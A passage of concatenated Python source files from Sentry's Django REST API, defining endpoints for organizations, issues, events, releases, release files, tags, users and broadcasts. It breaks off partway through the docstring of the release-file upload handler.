        such as membership access, features, and teams.

        :pparam string organization_slug: the slug of the organization the
                                          team should be created for.
        :auth: required
        """
        context = serialize(
            organization,
            request.user,
            DetailedOrganizationSerializer(),
        )
        return Response(context)

    @attach_scenarios([update_organization_scenario])
    def put(self, request, organization):
        """
        Update an Organization
        ``````````````````````

        Update various attributes and configurable settings for the given
        organization.

        :pparam string organization_slug: the slug of the organization the
                                          team should be created for.
        :param string name: an optional new name for the organization.
        :param string slug: an optional new slug for the organization.  Needs
                            to be available and unique.
        :auth: required
        """
        serializer = OrganizationSerializer(organization, data=request.DATA,
                                            partial=True)
        if serializer.is_valid():
            organization = serializer.save()

            self.create_audit_entry(
                request=request,
                organization=organization,
                target_object=organization.id,
                event=AuditLogEntryEvent.ORG_EDIT,
                data=organization.get_audit_log_data(),
            )

            return Response(serialize(
                organization,
                request.user,
                DetailedOrganizationSerializer(),
            ))

        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)

    @sudo_required
    def delete(self, request, organization):
        """
        Delete an Organization
        ``````````````````````

        Schedules an organization for deletion.  This API endpoint cannot
        be invoked without a user context for security reasons.  This means
        that at present an organization can only be deleted from the
        Sentry UI.

        Deletion happens asynchronously and therefor is not immediate.
        However once deletion has begun the state of a project changes and
        will be hidden from most public views.

        :pparam string organization_slug: the slug of the organization the
                                          team should be created for.
        :auth: required, user-context-needed
        """
        if not request.user.is_authenticated():
            return Response({'detail': 'This request requires a user.'},
                            status=401)

        if organization.is_default:
            return Response({'detail': ERR_DEFAULT_ORG}, status=400)

        logging.getLogger('sentry.deletions').info(
            'Organization %s (id=%s) removal requested by user (id=%s)',
            organization.slug, organization.id, request.user.id)

        updated = Organization.objects.filter(
            id=organization.id,
            status=OrganizationStatus.VISIBLE,
        ).update(status=OrganizationStatus.PENDING_DELETION)
        if updated:
            delete_organization.delay(
                object_id=organization.id,
                countdown=86400,
            )

            self.create_audit_entry(
                request=request,
                organization=organization,
                target_object=organization.id,
                event=AuditLogEntryEvent.ORG_REMOVE,
                data=organization.get_audit_log_data(),
            )

        return Response(status=204)






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.api.bases.project import ProjectEndpoint
from sentry.api.serializers import serialize
from sentry.models import Environment


class ProjectEnvironmentsEndpoint(ProjectEndpoint):
    def get(self, request, project):
        queryset = Environment.objects.filter(
            project_id=project.id,
        ).order_by('name')

        return Response(serialize(list(queryset), request.user))






from __future__ import absolute_import

from datetime import timedelta
from django.utils import timezone
from rest_framework import serializers
from rest_framework.response import Response

from sentry.app import tsdb
from sentry.api import client
from sentry.api.base import DocSection
from sentry.api.bases import GroupEndpoint
from sentry.api.fields import UserField
from sentry.api.serializers import serialize
from sentry.constants import STATUS_CHOICES
from sentry.models import (
    Activity, Group, GroupAssignee, GroupSeen, GroupSubscription,
    GroupSubscriptionReason, GroupStatus, GroupTagKey, GroupTagValue, Release,
    User, UserReport
)
from sentry.plugins import IssueTrackingPlugin2, plugins
from sentry.utils.safe import safe_execute
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('RetrieveAggregate')
def retrieve_aggregate_scenario(runner):
    group = Group.objects.filter(project=runner.default_project).first()
    runner.request(
        method='GET',
        path='/issues/%s/' % group.id,
    )


@scenario('UpdateAggregate')
def update_aggregate_scenario(runner):
    group = Group.objects.filter(project=runner.default_project).first()
    runner.request(
        method='PUT',
        path='/issues/%s/' % group.id,
        data={'status': 'unresolved'}
    )


@scenario('DeleteAggregate')
def delete_aggregate_scenario(runner):
    with runner.isolated_project('Boring Mushrooms') as project:
        group = Group.objects.filter(project=project).first()
        runner.request(
            method='DELETE',
            path='/issues/%s/' % group.id,
        )


class GroupSerializer(serializers.Serializer):
    status = serializers.ChoiceField(choices=zip(
        STATUS_CHOICES.keys(), STATUS_CHOICES.keys()
    ))
    isBookmarked = serializers.BooleanField()
    isSubscribed = serializers.BooleanField()
    hasSeen = serializers.BooleanField()
    assignedTo = UserField()
    snoozeDuration = serializers.IntegerField()


class GroupDetailsEndpoint(GroupEndpoint):
    doc_section = DocSection.EVENTS

    def _get_activity(self, request, group, num):
        activity_items = set()
        activity = []
        activity_qs = Activity.objects.filter(
            group=group,
        ).order_by('-datetime').select_related('user')
        # we select excess so we can filter dupes
        for item in activity_qs[:num * 2]:
            sig = (item.type, item.ident, item.user_id)
            # TODO: we could just generate a signature (hash(text)) for notes
            # so there's no special casing
            if item.type == Activity.NOTE:
                activity.append(item)
            elif sig not in activity_items:
                activity_items.add(sig)
                activity.append(item)

        activity.append(Activity(
            project=group.project,
            group=group,
            type=Activity.FIRST_SEEN,
            datetime=group.first_seen,
        ))

        return activity[:num]

    def _get_seen_by(self, request, group):
        seen_by = list(GroupSeen.objects.filter(
            group=group
        ).select_related('user').order_by('-last_seen'))
        return serialize(seen_by, request.user)

    def _get_actions(self, request, group):
        project = group.project

        action_list = []
        for plugin in plugins.for_project(project, version=1):
            results = safe_execute(plugin.actions, request, group, action_list,
                                   _with_transaction=False)

            if not results:
                continue

            action_list = results

        for plugin in plugins.for_project(project, version=2):
            for action in (safe_execute(plugin.get_actions, request, group,
                                        _with_transaction=False) or ()):
                action_list.append(action)

        return action_list

    def _get_available_issue_plugins(self, request, group):
        project = group.project

        plugin_issues = []
        for plugin in plugins.for_project(project, version=1):
            if isinstance(plugin, IssueTrackingPlugin2):
                plugin_issues = safe_execute(plugin.plugin_issues, request, group, plugin_issues,
                                             _with_transaction=False)
        return plugin_issues

    def _get_release_info(self, request, group, version):
        try:
            release = Release.objects.get(
                project=group.project,
                version=version,
            )
        except Release.DoesNotExist:
            return {'version': version}
        return serialize(release, request.user)

    @attach_scenarios([retrieve_aggregate_scenario])
    def get(self, request, group):
        """
        Retrieve an Issue
        `````````````````

        Return details on an individual issue. This returns the basic stats for
        the issue (title, last seen, first seen), some overall numbers (number
        of comments, user reports) as well as the summarized event data.

        :pparam string issue_id: the ID of the issue to retrieve.
        :auth: required
        """
        # TODO(dcramer): handle unauthenticated/public response
        data = serialize(group, request.user)

        # TODO: these probably should be another endpoint
        activity = self._get_activity(request, group, num=100)
        seen_by = self._get_seen_by(request, group)

        # find first seen release
        if group.first_release is None:
            try:
                first_release = GroupTagValue.objects.filter(
                    group=group,
                    key__in=('sentry:release', 'release'),
                ).order_by('first_seen')[0]
            except IndexError:
                first_release = None
            else:
                first_release = first_release.value
        else:
            first_release = group.first_release.version

        if first_release is not None:
            # find last seen release
            try:
                last_release = GroupTagValue.objects.filter(
                    group=group,
                    key__in=('sentry:release', 'release'),
                ).order_by('-last_seen')[0]
            except IndexError:
                last_release = None
            else:
                last_release = last_release.value
        else:
            last_release = None

        action_list = self._get_actions(request, group)

        now = timezone.now()
        hourly_stats = tsdb.rollup(tsdb.get_range(
            model=tsdb.models.group,
            keys=[group.id],
            end=now,
            start=now - timedelta(days=1),
        ), 3600)[group.id]
        daily_stats = tsdb.rollup(tsdb.get_range(
            model=tsdb.models.group,
            keys=[group.id],
            end=now,
            start=now - timedelta(days=30),
        ), 3600 * 24)[group.id]

        if first_release:
            first_release = self._get_release_info(request, group, first_release)
        if last_release:
            last_release = self._get_release_info(request, group, last_release)

        tags = list(GroupTagKey.objects.filter(
            group=group,
        )[:100])

        participants = list(User.objects.filter(
            groupsubscription__is_active=True,
            groupsubscription__group=group,
        ))

        data.update({
            'firstRelease': first_release,
            'lastRelease': last_release,
            'activity': serialize(activity, request.user),
            'seenBy': seen_by,
            'participants': serialize(participants, request.user),
            'pluginActions': action_list,
            'pluginIssues': self._get_available_issue_plugins(request, group),
            'userReportCount': UserReport.objects.filter(group=group).count(),
            'tags': sorted(serialize(tags, request.user), key=lambda x: x['name']),
            'stats': {
                '24h': hourly_stats,
                '30d': daily_stats,
            }
        })

        return Response(data)

    @attach_scenarios([update_aggregate_scenario])
    def put(self, request, group):
        """
        Update an Issue
        ```````````````

        Updates an individual issues's attributes.  Only the attributes
        submitted are modified.

        :pparam string issue_id: the ID of the group to retrieve.
        :param string status: the new status for the groups.  Valid values
                              are ``"resolved"``, ``"unresolved"`` and
                              ``"muted"``.
        :param string assignedTo: the username of the user that should be
                               assigned to this issue.
        :param boolean hasSeen: in case this API call is invoked with a user
                                context this allows changing of the flag
                                that indicates if the user has seen the
                                event.
        :param boolean isBookmarked: in case this API call is invoked with a
                                     user context this allows changing of
                                     the bookmark flag.
        :param boolean isSubscribed:
        :auth: required
        """
        # TODO(dcramer): we need to implement assignedTo in the bulk mutation
        # endpoint
        serializer = GroupSerializer(data=request.DATA, partial=True)
        if not serializer.is_valid():
            return Response(serializer.errors, status=400)

        result = serializer.object
        acting_user = request.user if request.user.is_authenticated() else None

        if result.get('assignedTo') and not group.project.member_set.filter(user=result['assignedTo']).exists():
            return Response({'detail': 'Cannot assign to non-team member'}, status=400)

        if 'assignedTo' in result:
            if result['assignedTo']:
                GroupAssignee.objects.assign(group, result['assignedTo'],
                                             acting_user)

                if 'isSubscribed' not in result or result['assignedTo'] != request.user:
                    GroupSubscription.objects.subscribe(
                        group=group,
                        user=result['assignedTo'],
                        reason=GroupSubscriptionReason.assigned,
                    )
            else:
                GroupAssignee.objects.deassign(group, acting_user)

        response = client.put(
            path='/projects/{}/{}/issues/'.format(
                group.project.organization.slug,
                group.project.slug,
            ),
            params={
                'id': group.id,
            },
            data=request.DATA,
            request=request,
        )

        # we need to fetch the object against as the bulk mutation endpoint
        # only returns a delta, and object mutation returns a complete updated
        # entity.
        # TODO(dcramer): we should update the API and have this be an explicit
        # flag (or remove it entirely) so that delta's are the primary response
        # for mutation.
        group = Group.objects.get(id=group.id)

        return Response(serialize(group, request.user),
                        status=response.status_code)

    @attach_scenarios([delete_aggregate_scenario])
    def delete(self, request, group):
        """
        Remove an Issue
        ```````````````

        Removes an individual issue.

        :pparam string issue_id: the ID of the issue to delete.
        :auth: required
        """
        from sentry.tasks.deletion import delete_group

        updated = Group.objects.filter(
            id=group.id,
        ).exclude(
            status__in=[
                GroupStatus.PENDING_DELETION,
                GroupStatus.DELETION_IN_PROGRESS,
            ]
        ).update(status=GroupStatus.PENDING_DELETION)
        if updated:
            delete_group.delay(object_id=group.id, countdown=3600)

        return Response(status=202)






from __future__ import absolute_import

from django.db import IntegrityError, transaction
from django.db.models import Q
from django.utils import timezone
from rest_framework import serializers
from rest_framework.permissions import IsAuthenticated
from rest_framework.response import Response

from sentry.api.base import Endpoint
from sentry.api.serializers import serialize
from sentry.models import Broadcast, BroadcastSeen


class BroadcastSerializer(serializers.Serializer):
    hasSeen = serializers.BooleanField()


class BroadcastIndexEndpoint(Endpoint):
    permission_classes = (IsAuthenticated,)

    def get(self, request):
        # limit to only a few "recent" broadcasts
        broadcasts = list(Broadcast.objects.filter(
            Q(date_expires__isnull=True) | Q(date_expires__gt=timezone.now()),
            is_active=True,
        ).order_by('-date_added')[:5])

        return Response(serialize(broadcasts, request.user))

    def put(self, request):
        serializer = BroadcastSerializer(data=request.DATA, partial=True)
        if not serializer.is_valid():
            return Response(serializer.errors, status=400)

        result = serializer.object

        queryset = Broadcast.objects.filter(
            is_active=True,
        )

        ids = request.GET.getlist('id')
        if ids:
            queryset = queryset.filter(
                id__in=ids,
            )

        if result.get('hasSeen'):
            if not request.user.is_authenticated():
                return Response(status=401)

            if ids:
                unseen_queryset = queryset
            else:
                unseen_queryset = queryset.exclude(
                    id__in=queryset.filter(
                        broadcastseen__user=request.user,
                    ).values('id')
                )

            for broadcast in unseen_queryset:
                try:
                    with transaction.atomic():
                        BroadcastSeen.objects.create(
                            broadcast=broadcast,
                            user=request.user,
                        )
                except IntegrityError:
                    pass

        return Response(result)






from __future__ import absolute_import

import six

from rest_framework.response import Response

from sentry.api.base import Endpoint
from sentry.api.bases.group import GroupPermission
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.serializers import serialize
from sentry.constants import EVENT_ORDERING_KEY
from sentry.models import Event, Release, UserReport


class EventDetailsEndpoint(Endpoint):
    permission_classes = (GroupPermission,)

    def _get_release_info(self, request, event):
        version = event.get_tag('sentry:release')
        if not version:
            return None
        try:
            release = Release.objects.get(
                project=event.project,
                version=version,
            )
        except Release.DoesNotExist:
            return {'version': version}
        return serialize(release, request.user)

    def get(self, request, event_id):
        """
        Retrieve an Event
        `````````````````

        This endpoint returns the data for a specific event.  The event ID
        is the event as it appears in the Sentry database and not the event
        ID that is reported by the client upon submission.
        """
        try:
            event = Event.objects.get(
                id=event_id
            )
        except Event.DoesNotExist:
            raise ResourceDoesNotExist

        self.check_object_permissions(request, event.group)

        Event.objects.bind_nodes([event], 'data')

        # HACK(dcramer): work around lack of unique sorting on datetime
        base_qs = Event.objects.filter(
            group_id=event.group_id,
        ).exclude(id=event.id)

        # First, we collect 5 leading/trailing events
        next_events = sorted(
            base_qs.filter(
                datetime__gte=event.datetime,
            ).order_by('datetime')[0:5],
            key=EVENT_ORDERING_KEY,
        )
        prev_events = sorted(
            base_qs.filter(
                datetime__lte=event.datetime,
            ).order_by('-datetime')[0:5],
            key=EVENT_ORDERING_KEY,
            reverse=True,
        )

        # Now, try and find the real next event.
        # "next" means:
        #  * If identical timestamps, greater of the ids
        #  * else greater of the timestamps
        next_event = None
        for e in next_events:
            if e.datetime == event.datetime and e.id > event.id:
                next_event = e
                break

            if e.datetime > event.datetime:
                next_event = e
                break

        # Last, pick the previous event
        # "previous" means:
        #  * If identical timestamps, lesser of the ids
        #  * else lesser of the timestamps
        prev_event = None
        for e in prev_events:
            if e.datetime == event.datetime and e.id < event.id:
                prev_event = e
                break

            if e.datetime < event.datetime:
                prev_event = e
                break

        try:
            user_report = UserReport.objects.get(
                event_id=event.event_id,
                project=event.project,
            )
        except UserReport.DoesNotExist:
            user_report = None

        data = serialize(event, request.user)
        data['userReport'] = serialize(user_report, request.user)
        data['release'] = self._get_release_info(request, event)

        if next_event:
            data['nextEventID'] = six.text_type(next_event.id)
        else:
            data['nextEventID'] = None
        if prev_event:
            data['previousEventID'] = six.text_type(prev_event.id)
        else:
            data['previousEventID'] = None

        return Response(data)






from __future__ import absolute_import

import six

from django.db.models import Q
from six.moves import reduce

from sentry.api.base import Endpoint
from sentry.api.paginator import DateTimePaginator
from sentry.api.permissions import SuperuserPermission
from sentry.api.serializers import serialize
from sentry.models import User
from sentry.search.utils import tokenize_query


def in_iexact(column, values):
    from operator import or_

    query = '{}__iexact'.format(column)

    return reduce(or_, [Q(**{query: v}) for v in values])


class UserIndexEndpoint(Endpoint):
    permission_classes = (SuperuserPermission,)

    def get(self, request):
        queryset = User.objects.distinct()

        query = request.GET.get('query')
        if query:
            tokens = tokenize_query(query)
            for key, value in six.iteritems(tokens):
                if key == 'query':
                    value = ' '.join(value)
                    queryset = queryset.filter(
                        Q(name__icontains=value) |
                        Q(username__icontains=value) |
                        Q(email__icontains=value)
                    )
                elif key == 'name':
                    queryset = queryset.filter(
                        in_iexact('name', value)
                    )
                elif key == 'email':
                    queryset = queryset.filter(
                        in_iexact('email', value)
                    )
                elif key == 'username':
                    queryset = queryset.filter(
                        in_iexact('username', value)
                    )

        status = request.GET.get('status')
        if status == 'active':
            queryset = queryset.filter(
                is_active=True,
            )
        elif status == 'disabled':
            queryset = queryset.filter(
                is_active=False,
            )

        order_by = '-date_joined'
        paginator_cls = DateTimePaginator

        return self.paginate(
            request=request,
            queryset=queryset,
            order_by=order_by,
            on_results=lambda x: serialize(x, request.user),
            paginator_cls=paginator_cls,
        )






from __future__ import absolute_import

import six

from rest_framework.response import Response

from sentry.api.bases.project import ProjectEndpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.models import ProjectKey
from sentry.utils.integrationdocs import load_doc


def replace_keys(html, project_key):
    if project_key is None:
        return html
    html = html.replace('___DSN___', project_key.dsn_private)
    html = html.replace('___PUBLIC_DSN___', project_key.dsn_public)
    html = html.replace('___PUBLIC_KEY___', project_key.public_key)
    html = html.replace('___SECRET_KEY___', project_key.secret_key)
    html = html.replace('___PROJECT_ID___', six.text_type(project_key.project_id))

    # If we actually render this in the main UI we can also provide
    # extra information about the project (org slug and project slug)
    if '___PROJECT_NAME___' in html or '___ORG_NAME___' in html:
        project = project_key.project
        org = project.organization
        html = html.replace('___ORG_NAME___', six.text_type(org.slug))
        html = html.replace('___PROJECT_NAME___', six.text_type(project.slug))

    return html


class ProjectDocsPlatformEndpoint(ProjectEndpoint):
    def get(self, request, project, platform):
        data = load_doc(platform)
        if not data:
            raise ResourceDoesNotExist

        project_key = ProjectKey.get_default(project)

        return Response({
            'id': data['id'],
            'name': data['name'],
            'html': replace_keys(data['html'], project_key),
            'link': data['link'],
        })






from __future__ import absolute_import
import string

from django.db import IntegrityError, transaction
from django.utils import timezone
from rest_framework import serializers
from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.project import ProjectEndpoint, ProjectReleasePermission
from sentry.api.paginator import OffsetPaginator
from sentry.api.fields.user import UserField
from sentry.api.serializers import serialize
from sentry.models import Activity, Release
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('CreateNewRelease')
def create_new_release_scenario(runner):
    runner.request(
        method='POST',
        path='/projects/%s/%s/releases/' % (
            runner.org.slug, runner.default_project.slug),
        data={
            'version': '2.0rc2',
            'ref': '6ba09a7c53235ee8a8fa5ee4c1ca8ca886e7fdbb',
        }
    )


@scenario('ListReleases')
def list_releases_scenario(runner):
    runner.request(
        method='GET',
        path='/projects/%s/%s/releases/' % (
            runner.org.slug, runner.default_project.slug)
    )


class ReleaseSerializer(serializers.Serializer):
    version = serializers.RegexField(r'[a-zA-Z0-9\-_\.]', max_length=64, required=True)
    ref = serializers.CharField(max_length=64, required=False)
    url = serializers.URLField(required=False)
    owner = UserField(required=False)
    dateStarted = serializers.DateTimeField(required=False)
    dateReleased = serializers.DateTimeField(required=False)

    def validate_version(self, attrs, source):
        value = attrs[source]
        if not set(value).isdisjoint(set(string.whitespace)):
            raise serializers.ValidationError('Enter a valid value')
        return attrs


class ProjectReleasesEndpoint(ProjectEndpoint):
    doc_section = DocSection.RELEASES
    permission_classes = (ProjectReleasePermission,)

    @attach_scenarios([list_releases_scenario])
    def get(self, request, project):
        """
        List a Project's Releases
        `````````````````````````

        Retrieve a list of releases for a given project.

        :pparam string organization_slug: the slug of the organization the
                                          release belongs to.
        :pparam string project_slug: the slug of the project to list the
                                     releases of.
        :qparam string query: this parameter can beu sed to create a
                              "starts with" filter for the version.
        """
        query = request.GET.get('query')

        queryset = Release.objects.filter(
            project=project,
        ).select_related('owner')

        if query:
            queryset = queryset.filter(
                version__istartswith=query,
            )

        queryset = queryset.extra(select={
            'sort': 'COALESCE(date_released, date_added)',
        })

        return self.paginate(
            request=request,
            queryset=queryset,
            order_by='-sort',
            paginator_cls=OffsetPaginator,
            on_results=lambda x: serialize(x, request.user),
        )

    @attach_scenarios([create_new_release_scenario])
    def post(self, request, project):
        """
        Create a New Release
        ````````````````````

        Create a new release for the given project.  Releases are used by
        Sentry to improve it's error reporting abilities by correlating
        first seen events with the release that might have introduced the
        problem.

        Releases are also necessary for sourcemaps and other debug features
        that require manual upload for functioning well.

        :pparam string organization_slug: the slug of the organization the
                                          release belongs to.
        :pparam string project_slug: the slug of the project to create a
                                     release for.
        :param string version: a version identifier for this release.  Can
                               be a version number, a commit hash etc.
        :param string ref: an optional commit reference.  This is useful if
                           a tagged version has been provided.
        :param url url: a URL that points to the release.  This can be the
                        path to an online interface to the sourcecode
                        for instance.
        :param datetime dateStarted: an optional date that indicates when the
                                     release process started.
        :param datetime dateReleased: an optional date that indicates when
                                      the release went live.  If not provided
                                      the current time is assumed.
        :auth: required
        """
        serializer = ReleaseSerializer(data=request.DATA)

        if serializer.is_valid():
            result = serializer.object

            with transaction.atomic():
                try:
                    release = Release.objects.create(
                        project=project,
                        version=result['version'],
                        ref=result.get('ref'),
                        url=result.get('url'),
                        owner=result.get('owner'),
                        date_started=result.get('dateStarted'),
                        date_released=result.get('dateReleased') or timezone.now(),
                    )
                except IntegrityError:
                    return Response({
                        'detail': 'Release with version already exists'
                    }, status=400)
                else:
                    Activity.objects.create(
                        type=Activity.RELEASE,
                        project=project,
                        ident=result['version'],
                        data={'version': result['version']},
                        datetime=release.date_released,
                    )

            return Response(serialize(release, request.user), status=201)
        return Response(serializer.errors, status=400)






from __future__ import absolute_import

from sentry.api.base import DocSection
from sentry.api.bases.project import ProjectEndpoint
from sentry.api.serializers import serialize
from sentry.api.paginator import DateTimePaginator
from sentry.models import Event
from sentry.utils.apidocs import scenario, attach_scenarios


@scenario('ListProjectAvailableSamples')
def list_project_available_samples_scenario(runner):
    runner.request(
        method='GET',
        path='/projects/%s/%s/events/' % (
            runner.org.slug, runner.default_project.slug)
    )


class ProjectEventsEndpoint(ProjectEndpoint):
    doc_section = DocSection.EVENTS

    @attach_scenarios([list_project_available_samples_scenario])
    def get(self, request, project):
        """
        List a Project's Available Samples
        ``````````````````````````````````

        Return a list of sampled events bound to a project.

        :pparam string organization_slug: the slug of the organization the
                                          groups belong to.
        :pparam string project_slug: the slug of the project the groups
                                     belong to.
        """

        events = Event.objects.filter(
            project_id=project.id,
        )

        query = request.GET.get('query')
        if query:
            events = events.filter(
                message__icontains=query,
            )

        return self.paginate(
            request=request,
            queryset=events,
            order_by='-datetime',
            on_results=lambda x: serialize(x, request.user),
            paginator_cls=DateTimePaginator,
        )






from __future__ import absolute_import

from rest_framework.response import Response

from sentry.api.bases.project import ProjectEndpoint
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.serializers import serialize
from sentry.models import AuditLogEntryEvent, TagKey, TagKeyStatus
from sentry.tasks.deletion import delete_tag_key


class ProjectTagKeyDetailsEndpoint(ProjectEndpoint):
    def get(self, request, project, key):
        if TagKey.is_reserved_key(key):
            lookup_key = 'sentry:{0}'.format(key)
        else:
            lookup_key = key

        try:
            tagkey = TagKey.objects.get(
                project=project,
                key=lookup_key,
                status=TagKeyStatus.VISIBLE,
            )
        except TagKey.DoesNotExist:
            raise ResourceDoesNotExist

        return Response(serialize(tagkey, request.user))

    def delete(self, request, project, key):
        """
        Remove all occurrences of the given tag key.

            {method} {path}

        """
        if TagKey.is_reserved_key(key):
            lookup_key = 'sentry:{0}'.format(key)
        else:
            lookup_key = key

        try:
            tagkey = TagKey.objects.get(
                project=project,
                key=lookup_key,
            )
        except TagKey.DoesNotExist:
            raise ResourceDoesNotExist

        updated = TagKey.objects.filter(
            id=tagkey.id,
            status=TagKeyStatus.VISIBLE,
        ).update(status=TagKeyStatus.PENDING_DELETION)
        if updated:
            delete_tag_key.delay(object_id=tagkey.id)

            self.create_audit_entry(
                request=request,
                organization=project.organization,
                target_object=tagkey.id,
                event=AuditLogEntryEvent.TAGKEY_REMOVE,
                data=tagkey.get_audit_log_data(),
            )

        return Response(status=204)






from __future__ import absolute_import

import six

from django.core.validators import validate_slug, ValidationError
from django.db import transaction
from rest_framework.response import Response

from sentry.api.bases.organization import OrganizationEndpoint
from sentry.models import Project


class SlugsUpdateEndpoint(OrganizationEndpoint):

    def put(self, request, organization):
        """
        Update Project Slugs
        ````````````````````

        Updates the slugs of projects within the organization.

        :pparam string organization_slug: the slug of the organization the
                                          short ID should be looked up in.
        :param slugs: a dictionary of project IDs to their intended slugs.
        :auth: required
        """
        slugs = request.DATA.get('slugs', {})
        for project_id, slug in six.iteritems(slugs):
            slug = slug.lower()
            try:
                validate_slug(slug)
            except ValidationError:
                return Response({'detail': 'invalid slug "%s"' % slug},
                                status=400)
            slugs[project_id] = slug

        if len(slugs) != len(set(slugs.values())):
            return Response({'detail': 'Duplicate slugs'}, status=400)

        project_q = organization.project_set.filter(
            pk__in=[int(x) for x in slugs]
        )

        rv = {}

        with transaction.atomic():
            projects = {}

            # Clear out all slugs first so that we can move them
            # around through the uniqueness
            for project in project_q:
                projects[six.text_type(project.id)] = project
                project.slug = None
                project.save()

            # Set new ones
            for project_id, slug in six.iteritems(slugs):
                project = projects.get(project_id)
                if project is None:
                    continue
                other = Project.objects.filter(
                    slug=slug,
                    organization=organization
                ).exclude(id=project.id).first()
                if other is not None:
                    if len(slugs) != len(slugs.values()):
                        return Response({'detail': 'Duplicate slug %s'
                                         % slug}, status=400)
                project.slug = slug
                project.update_option('sentry:reviewed-slug', True)
                project.save()
                rv[project_id] = slug

        return Response({
            'updated_slugs': rv
        })






from __future__ import absolute_import

from django.conf import settings
from rest_framework import serializers, status
from rest_framework.response import Response

from sentry.api.bases.user import UserEndpoint
from sentry.api.serializers import serialize
from sentry.models import User


class BaseUserSerializer(serializers.ModelSerializer):
    def validate_username(self, attrs, source):
        value = attrs[source]
        if User.objects.filter(username__iexact=value).exclude(id=self.object.id).exists():
            raise serializers.ValidationError('That username is already in use.')
        return attrs

    def validate(self, attrs):
        attrs = super(BaseUserSerializer, self).validate(attrs)

        if self.object.email == self.object.username:
            if attrs.get('username', self.object.email) != self.object.email:
                attrs.setdefault('email', attrs['username'])

        return attrs

    def restore_object(self, attrs, instance=None):
        instance = super(BaseUserSerializer, self).restore_object(attrs, instance)
        instance.is_active = attrs.get('isActive', instance.is_active)
        return instance


class UserSerializer(BaseUserSerializer):
    class Meta:
        model = User
        fields = ('name', 'username', 'email')

    def validate_username(self, attrs, source):
        value = attrs[source]
        if User.objects.filter(username__iexact=value).exclude(id=self.object.id).exists():
            raise serializers.ValidationError('That username is already in use.')
        return attrs

    def validate(self, attrs):
        for field in settings.SENTRY_MANAGED_USER_FIELDS:
            attrs.pop(field, None)

        attrs = super(UserSerializer, self).validate(attrs)

        return attrs


class AdminUserSerializer(BaseUserSerializer):
    isActive = serializers.BooleanField(source='is_active')

    class Meta:
        model = User
        # no idea wtf is up with django rest framework, but we need is_active
        # and isActive
        fields = ('name', 'username', 'isActive', 'email')
        # write_only_fields = ('password',)


class UserDetailsEndpoint(UserEndpoint):
    def get(self, request, user):
        data = serialize(user, request.user)
        return Response(data)

    def put(self, request, user):
        if request.is_superuser():
            serializer_cls = AdminUserSerializer
        else:
            serializer_cls = UserSerializer

        serializer = serializer_cls(user, data=request.DATA, partial=True)
        if serializer.is_valid():
            user = serializer.save()
            return Response(serialize(user, request.user))

        return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST)






from __future__ import absolute_import

import six

from rest_framework.response import Response

from collections import defaultdict
from sentry.api.bases.group import GroupEndpoint
from sentry.api.serializers import serialize
from sentry.models import GroupTagValue, GroupTagKey, TagKey, TagKeyStatus


class GroupTagsEndpoint(GroupEndpoint):
    def get(self, request, group):
        tag_keys = TagKey.objects.filter(
            project=group.project,
            status=TagKeyStatus.VISIBLE,
            key__in=GroupTagKey.objects.filter(
                group=group,
            ).values('key'),
        )

        # O(N) db access
        data = []
        all_top_values = []
        for tag_key in tag_keys:
            total_values = GroupTagValue.get_value_count(group.id, tag_key.key)
            top_values = GroupTagValue.get_top_values(group.id, tag_key.key, limit=10)

            all_top_values.extend(top_values)

            data.append({
                'id': six.text_type(tag_key.id),
                'key': TagKey.get_standardized_key(tag_key.key),
                'name': tag_key.get_label(),
                'uniqueValues': tag_key.values_seen,
                'totalValues': total_values,
            })

        # Serialize all of the values at once to avoid O(n) serialize/db queries
        top_values_by_key = defaultdict(list)
        for value in serialize(all_top_values, request.user):
            top_values_by_key[value['key']].append(value)

        for d in data:
            d['topValues'] = top_values_by_key[d['key']]

        return Response(data)






from __future__ import absolute_import

from django.db import IntegrityError, transaction
from six import BytesIO
from rest_framework.negotiation import DefaultContentNegotiation
from rest_framework.parsers import FormParser, MultiPartParser
from rest_framework.response import Response

from sentry.api.base import DocSection
from sentry.api.bases.project import ProjectEndpoint, ProjectReleasePermission
from sentry.api.exceptions import ResourceDoesNotExist
from sentry.api.paginator import OffsetPaginator
from sentry.api.serializers import serialize
from sentry.models import File, Release, ReleaseFile
from sentry.utils.apidocs import scenario, attach_scenarios

ERR_FILE_EXISTS = 'A file matching this name already exists for the given release'


@scenario('UploadReleaseFile')
def upload_file_scenario(runner):
    runner.request(
        method='POST',
        path='/projects/%s/%s/releases/%s/files/' % (
            runner.org.slug, runner.default_project.slug,
            runner.default_release.version),
        data={
            'header': 'Content-Type:text/plain; encoding=utf-8',
            'name': '/demo/hello.py',
            'file': ('hello.py', BytesIO(b'print "Hello World!"')),
        },
        format='multipart'
    )


@scenario('ListReleaseFiles')
def list_files_scenario(runner):
    runner.utils.create_release_file(
        project=runner.default_project,
        release=runner.default_release,
        path='/demo/message-for-you.txt',
        contents='Hello World!'
    )
    runner.request(
        method='GET',
        path='/projects/%s/%s/releases/%s/files/' % (
            runner.org.slug, runner.default_project.slug,
            runner.default_release.version)
    )


class ConditionalContentNegotiation(DefaultContentNegotiation):
    """
    Overrides the parsers on POST to support file uploads.
    """
    def select_parser(self, request, parsers):
        if request.method == 'POST':
            parsers = [FormParser(), MultiPartParser()]

        return super(ConditionalContentNegotiation, self).select_parser(
            request, parsers
        )


class ReleaseFilesEndpoint(ProjectEndpoint):
    doc_section = DocSection.RELEASES
    content_negotiation_class = ConditionalContentNegotiation
    permission_classes = (ProjectReleasePermission,)

    @attach_scenarios([list_files_scenario])
    def get(self, request, project, version):
        """
        List a Release's Files
        ``````````````````````

        Retrieve a list of files for a given release.

        :pparam string organization_slug: the slug of the organization the
                                          release belongs to.
        :pparam string project_slug: the slug of the project to list the
                                     release files of.
        :pparam string version: the version identifier of the release.
        :auth: required
        """
        try:
            release = Release.objects.get(
                project=project,
                version=version,
            )
        except Release.DoesNotExist:
            raise ResourceDoesNotExist

        file_list = ReleaseFile.objects.filter(
            release=release,
        ).select_related('file').order_by('name')

        return self.paginate(
            request=request,
            queryset=file_list,
            order_by='name',
            paginator_cls=OffsetPaginator,
            on_results=lambda x: serialize(x, request.user),
        )

    @attach_scenarios([upload_file_scenario])
    def post(self, request, project, version):
        """
        Upload a New File
        `````````````````

